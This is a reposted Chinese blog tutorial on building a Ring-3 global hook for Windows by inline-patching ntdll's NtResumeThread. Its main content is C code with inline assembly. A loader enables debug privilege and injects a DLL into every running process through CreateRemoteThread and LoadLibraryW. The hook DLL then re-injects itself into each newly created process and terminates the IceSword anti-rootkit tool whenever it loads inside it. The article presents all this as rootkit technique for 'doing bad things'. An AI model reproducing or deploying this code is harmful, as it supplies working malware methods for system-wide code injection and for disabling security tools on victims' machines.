您的位置:首页 > 其它

挂钩 NtResumeThread 实现全局Hook

2013-10-21 01:04 344 查看
挂钩一直是Hack 编程中永恒的主题,基本高级的Rootkit 程序多多少少都会使用Hook 技术。似乎Hook 都被讲烂了,不论是Ring3 的还是Ring0 的网上都有例子。Ring0 的毋庸置疑当然是全局的了,这里说说ring3 的全局hook。Ring 3 有Ring 3 的优势,稳定是压倒一切的,

因此Mcafee 和其他一些商业的安全软件都还是使用了Ring3 的Hook 技术,无论如何用户是无法接受蓝屏和死机的。

感兴趣的可以装个Rootkit unhooker 自己看看。 :)

1. 以往的Ring 3全局Hook

纵观网上流行的全局Hook 程序都只用了一个Windows API, SetWindowsHookEx,此函数原型:

HHOOK SetWindowsHookEx(

int idHook,

HOOKPROC lpfn,

HINSTANCE hMod,

DWORD dwThreadId

);

idhook 安装的钩子类型,如 WH_GETMESSAGE,WH_KEYBOARD 等

lpfn hook procedure 的指针

hmod 包含 hook procedure DLL 的handle

dwThread 为0

使用这个这个API 时候有问题的,只能挂接系统中的所有G U I线程,换句通俗的话说就是有界面

的程序,Windows console 类的程序就无能为力了。

还有一种通过插入注册表来实现

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

这种方法简单,但是还是只能挂钩GUI 程序,并且这个键值已经被广大HIPS 所关注,吃力不讨好。

以上两种效果不好,因此有人有开始另外的做法,枚举所有进程,插入和挂钩 NtCreateProcess

这是非常自然的想法,似乎也把问题解决了,但是仔细思考一下,就会发现很多问题。

a. 时机不对,在NtCreateProcess函数被调用时进程并没有真正被创建,我们无法执行HOOK操作,

而当NtCreateProcess返回时,进程又已经开始运行

b. 如果是Windows console 创建的进程,你如何去监控这个调用呢?这么说似乎比较抽象,你可

以这么理解,直接在命令行下,cmd,cmd,cmd .... 你可以监控到最后一个cmd 吗,如果只

用SetWindowsHookEx

c. 是否正好站在了华容道,是否足够底层。

似乎很费劲

2. 分析系统创建进程过程,寻找方法

关于这方面内容,可以参考毛德操老师的两篇文章

《漫谈兼容内核之十七:再谈Windows的进程创建》

《漫谈兼容内核之二十二:Windows线程的调度和运行》

下面是他的blog 链接:

http://hi.baidu.com/fatbsd/blog

CreateProcess 是 Kernel32.dll 的导出函数。

操起WinDbg,剁了一下: Windows 2003 SP2

lkd> uf CreateProcessW

kernel32!CreateProcessW:

7c802474 8bff mov edi,edi

7c802476 55 push ebp

7c802477 8bec mov ebp,esp

7c802479 6a00 push 0x0

7c80247b ff752c push dword ptr [ebp+0x2c]

7c80247e ff7528 push dword ptr [ebp+0x28]

7c802481 ff7524 push dword ptr [ebp+0x24]

7c802484 ff7520 push dword ptr [ebp+0x20]

7c802487 ff751c push dword ptr [ebp+0x1c]

7c80248a ff7518 push dword ptr [ebp+0x18]

7c80248d ff7514 push dword ptr [ebp+0x14]

7c802490 ff7510 push dword ptr [ebp+0x10]

7c802493 ff750c push dword ptr [ebp+0xc]

7c802496 ff7508 push dword ptr [ebp+0x8]

7c802499 6a00 push 0x0

7c80249b e8a6ac0200 call kernel32!CreateProcessInternalW (7c82d146)

7c8024a0 5d pop ebp

7c8024a1 c22800 ret 0x28

lkd> uf CreateProcessInternalW

....

7c82cf8f ff159814807c call dword ptr [kernel32!_imp__NtCreateProcessEx (7c801498)]

....

7c82daa2 ff159414807c call dword ptr [kernel32!_imp__NtCreateThread (7c801494)]

....

7c82dbdc ff158814807c call dword ptr [kernel32!_imp__NtResumeThread (7c801488)]

大概流程如下:

Kernel32!CreateProcessW

Kernel32!CreateProcessInternalW

ntdll!NtCreateProcessEx

ntdll!NtCreateThread

ntdll!NtResumeThread

因为进程创建后,Windows 必须为它创建一个主线程,然后等待操作系统调度它。

所以调用NtResumeThread的时候,就是我们Hook的最佳时机,因为此时创建进程的主要工作已经完成,

但是进程并没有调度起来,呵呵,方便干坏事啊。

3. 具体代码实现

基本思路已经清晰了,这里还几个问题。

a. NtResumeThread 函数并不是创建进程才调用,我们怎么区分出哪个是创建进程时

调用的NtResumeThread呢?

其实现实起来不困难,先枚举系统进程一次,将系统进程中NtResumeThread 都挂钩上。每次拦截到

NTResumeThread 是判断NtResumeThread 的头几个字节是否已经被修改,如果没有则是创建新进程的调用。

b. 用什么方法Hook , IAT、Inline? 总的架构?

这种代码写起来还是Inline Hook 来的舒服,修改函数调用头几个字节。

枚举系统所有进程是不可避免的,因此要写个loader 将我们编写的DLL 插入系统所有进程。发现有进进程

创建时,将DLL 插入新进程。

下面代码演示,Hook NtQuerySystemInformation,因为篇幅等原因只有整体框架和关键代码。

Hook 也不是不是我们这次的主要内容,感兴趣的可以参考

http://www.xfocus.net/articles/200403/681.html

c. 在多线程的环境下是否可靠?

使用关键代码段,互斥锁,效果还可以。

Loader:

void inject(HANDLE hProcess){

char CurPath[256] = {0};

strcpy(CurPath, "C:\\WINDOWS\\system32\\Hook.dll");

PWSTR pszLibFileRemote = NULL;

int len = (lstrlen(CurPath)+1)*2;

WCHAR wCurPath[256];

MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);

pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess,

NULL,

len,

MEM_COMMIT,

PAGE_READWRITE);

WriteProcessMemory(hProcess, pszLibFileRemote,

(PVOID) wCurPath, len, NULL);

PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)

GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

CreateRemoteThread(hProcess,

NULL,

0,

pfnThreadRtn,

pszLibFileRemote,

0,

NULL);

}

void TotalInject()

{

HANDLE hProcessSnap = NULL;

BOOL bRet = FALSE;

PROCESSENTRY32 pe32 = {0};

// Take a snapshot of all processes in the system.

EnableDebugPrivilege(1);

hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hProcessSnap == INVALID_HANDLE_VALUE)

return;

// Fill in the size of the structure before using it.

pe32.dwSize = sizeof(PROCESSENTRY32);

// Walk the snapshot of the processes, and for each process,

// display information.

if (Process32First(hProcessSnap, &pe32))

{

do

{

HANDLE hProcess;

// Get the actual priority class.

hProcess = OpenProcess (PROCESS_ALL_ACCESS,

FALSE,

pe32.th32ProcessID);

inject(hProcess);

CloseHandle(hProcess);

}

while (Process32Next(hProcessSnap, &pe32));

}

// Do not forget to clean up the snapshot object.

EnableDebugPrivilege(0);

CloseHandle (hProcessSnap);

return ;

}

Hook.dll: 关键代码

#include "stdafx.h"

#include <stdio.h>

BOOL g_bHook = FALSE;

typedef LONG NTSTATUS;

#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)

#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef ULONG SYSTEM_INFORMATION_CLASS;

typedef ULONG THREADINFOCLASS;

typedef ULONG PROCESSINFOCLASS;

typedef ULONG KPRIORITY;

#define MEMORY_BASIC_INFORMATION_SIZE 28

typedef struct _THREAD_BASIC_INFORMATION {

NTSTATUS ExitStatus;

PNT_TIB TebBaseAddress;

CLIENT_ID ClientId;

KAFFINITY AffinityMask;

KPRIORITY Priority;

KPRIORITY BasePriority;

} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;

typedef struct _PROCESS_BASIC_INFORMATION { // Information Class 0

NTSTATUS ExitStatus;

PVOID PebBaseAddress;

KAFFINITY AffinityMask;

KPRIORITY BasePriority;

ULONG UniqueProcessId;

ULONG InheritedFromUniqueProcessId;

} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef NTSTATUS (__stdcall *NTQUERYSYSTEMINFORMATION)(

IN SYSTEM_INFORMATION_CLASS SystemInformationClass,

OUT PVOID SystemInformation,

IN ULONG SystemInformationLength,

OUT PULONG ReturnLength OPTIONAL );

typedef NTSTATUS (__stdcall *NTRESUMETHREAD)(

IN HANDLE ThreadHandle,

OUT PULONG PreviousSuspendCount OPTIONAL

);

typedef NTSTATUS (__stdcall *NTQUERYINFORMATIONTHREAD)(

IN HANDLE ThreadHandle,

IN THREADINFOCLASS ThreadInformationClass,

OUT PVOID ThreadInformation,

IN ULONG ThreadInformationLength,

OUT PULONG ReturnLength OPTIONAL);

typedef NTSTATUS (__stdcall * NTQUERYINFORMATIONPROCESS)(

IN HANDLE ProcessHandle,

IN PROCESSINFOCLASS ProcessInformationClass,

OUT PVOID ProcessInformation,

IN ULONG ProcessInformationLength,

OUT PULONG ReturnLength OPTIONAL);

NTQUERYSYSTEMINFORMATION g_pfNtQuerySystemInformation = NULL;

NTRESUMETHREAD g_pfNtResumeThread = NULL;

BYTE g_OldNtQuerySystemInformation[5] = {0}, g_NewNtQuerySystemInformation[5] = {0};

BYTE g_OldNtResumeThread[5] = {0}, g_NewNtResumeThread[5] = {0};

DWORD dwIdOld = 0;

CRITICAL_SECTION cs;

NTSTATUS __stdcall NewNtQuerySystemInformation(

IN ULONG SystemInformationClass,

IN PVOID SystemInformation,

IN ULONG SystemInformationLength,

OUT PULONG ReturnLength);

NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,

OUT PULONG PreviousSuspendCount OPTIONAL);

void WINAPI HookOn();

void WINAPI HookOff();

BOOL APIENTRY DllMain( HANDLE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved )

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

{

InitializeCriticalSection(&cs);

char Name[MAX_PATH] = {0};

GetModuleFileName(NULL, Name, MAX_PATH);

// 杀杀冰刃玩玩

if ( strstr(Name, "IceSword.exe") != NULL)

{

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,

0,

GetCurrentProcessId());

TerminateProcess(hProcess, 0);

CloseHandle(hProcess);

}

if(!g_bHook)

{

HookOn();

}

#ifdef _DEBUG

MessageBox(NULL, "Process Attach", "Remote Dll", MB_OK);

#endif

}

break;

case DLL_THREAD_ATTACH:

break;

case DLL_THREAD_DETACH:

break;

case DLL_PROCESS_DETACH:

if(g_bHook)

{

HookOff();

#ifdef _DEBUG

MessageBox(NULL, "Off!", "Hook Off", MB_OK);

#endif

DeleteCriticalSection(&cs);

}

break;

}

return TRUE;

}

BOOL EnableDebugPrivilege(BOOL fEnable) {

// Enabling the debug privilege allows the application to see

// information about service applications

BOOL fOk = FALSE; // Assume function fails

HANDLE hToken;

// Try to open this process's access token

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,

&hToken)) {

// Attempt to modify the "Debug" privilege

TOKEN_PRIVILEGES tp;

tp.PrivilegeCount = 1;

LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;

AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

fOk = (GetLastError() == ERROR_SUCCESS);

CloseHandle(hToken);

}

return(fOk);

}

#define ThreadBasicInformation 0

void inject(HANDLE hProcess){

char CurPath[256] = {0};

GetSystemDirectory(CurPath, 256);

strncat(CurPath, "", 9);

//strcpy(CurPath, "C:\\WINDOWS\\system32\\Hook.dll");

PWSTR pszLibFileRemote = NULL;

int len = (lstrlen(CurPath)+1)*2;

WCHAR wCurPath[256];

MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);

EnableDebugPrivilege(1);

pszLibFileRemote = (PWSTR)

VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(hProcess, pszLibFileRemote,

(PVOID) wCurPath, len, NULL);

PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)

GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");

HANDLE hRemoteThread = CreateRemoteThread(hProcess,

NULL,

0,

pfnThreadRtn,

pszLibFileRemote,

0,

NULL);

WaitForSingleObject(hRemoteThread, INFINITE);

CloseHandle(hRemoteThread);

EnableDebugPrivilege(0);

}

NTSTATUS __stdcall NewNtResumeThread(IN HANDLE ThreadHandle,

OUT PULONG PreviousSuspendCount OPTIONAL)

{

NTSTATUS ret;

NTSTATUS nStatus;

NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;

NTQUERYINFORMATIONTHREAD NtQueryInformationThread = NULL;

THREAD_BASIC_INFORMATION ti;

DWORD Pid = 0;

HMODULE hNtdll = GetModuleHandle("ntdll.dll");

NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll,

"NtQuerySystemInformation");

NtQueryInformationThread = (NTQUERYINFORMATIONTHREAD)GetProcAddress(hNtdll,

"NtQueryInformationThread");

if (NtQueryInformationThread == NULL)

{

#ifdef _DEBUG

MessageBox(NULL, "can't get NtQueryInformationThread", "", MB_OK);

#endif

}

nStatus = NtQueryInformationThread(ThreadHandle,

ThreadBasicInformation,

(PVOID)&ti,

sizeof(THREAD_BASIC_INFORMATION),

NULL);

if(nStatus != STATUS_SUCCESS)

{

#ifdef _DEBUG

MessageBox(NULL, "fuck failed", "", MB_OK);

#endif

}

Pid = (DWORD)(ti.ClientId.UniqueProcess);

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, Pid);

if (hProcess == NULL)

{

#ifdef _DEBUG

MessageBox(NULL, "open process failed", "", MB_OK);

#endif

}

BYTE FirstByte[1] = {0};

// check if the process has been hooked

ReadProcessMemory(hProcess, NtQuerySystemInformation, FirstByte, 1, NULL);

// 已经被Hook了

if ( FirstByte[0] == 0xe9)

{

HookOff();

ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);

HookOn();

CloseHandle(hProcess);

return ret;

}

// 创建新进程的调用,Hook 之

else

{

HookOff();

inject(hProcess);

ret = g_pfNtResumeThread(ThreadHandle, PreviousSuspendCount);

HookOn();

CloseHandle(hProcess);

return ret;

}

}

NTSTATUS __stdcall NewNtQuerySystemInformation(

IN ULONG SystemInformationClass,

IN PVOID SystemInformation,

IN ULONG SystemInformationLength,

OUT PULONG ReturnLength)

{

NTSTATUS ntStatus;

HookOff();

ntStatus = g_pfNtQuerySystemInformation(SystemInformationClass,

SystemInformation,

SystemInformationLength,

ReturnLength);

HookOn();

return ntStatus;

}

void WINAPI HookOn()

{

PMEMORY_BASIC_INFORMATION lpAllocBuffer = NULL;

DWORD dwOldProtect, dwOldProtect2;

HANDLE hProcess = NULL;

dwIdOld = GetCurrentProcessId();

hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwIdOld);

if(hProcess == NULL)

return ;

HMODULE hNtdll = GetModuleHandle("ntdll.dll");

g_pfNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll,

"NtQuerySystemInformation");

if (g_pfNtQuerySystemInformation == NULL)

{

return;

}

g_pfNtResumeThread = (NTRESUMETHREAD)GetProcAddress(hNtdll, "NtResumeThread");

if (g_pfNtResumeThread == NULL)

{

return;

}

EnterCriticalSection(&cs);

_asm

{

lea edi,g_OldNtQuerySystemInformation

mov esi,g_pfNtQuerySystemInformation

cld

mov ecx,5

rep movsb

lea edi,g_OldNtResumeThread

mov esi,g_pfNtResumeThread

cld

mov ecx,5

rep movsb

}

g_NewNtQuerySystemInformation[0] = 0xe9;

g_NewNtResumeThread[0] = 0xe9;

_asm

{

lea eax, NewNtQuerySystemInformation

mov ebx, g_pfNtQuerySystemInformation

sub eax, ebx

sub eax, 5

mov dword ptr [g_NewNtQuerySystemInformation + 1], eax

lea eax, NewNtResumeThread

mov ebx, g_pfNtResumeThread

sub eax, ebx

sub eax, 5

mov dword ptr [g_NewNtResumeThread + 1], eax

}

.......

LeaveCriticalSection(&cs);

g_bHook = TRUE;

}

// 还原被修改的代码

void WINAPI HookOff()

{

......

g_bHook = FALSE;

}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: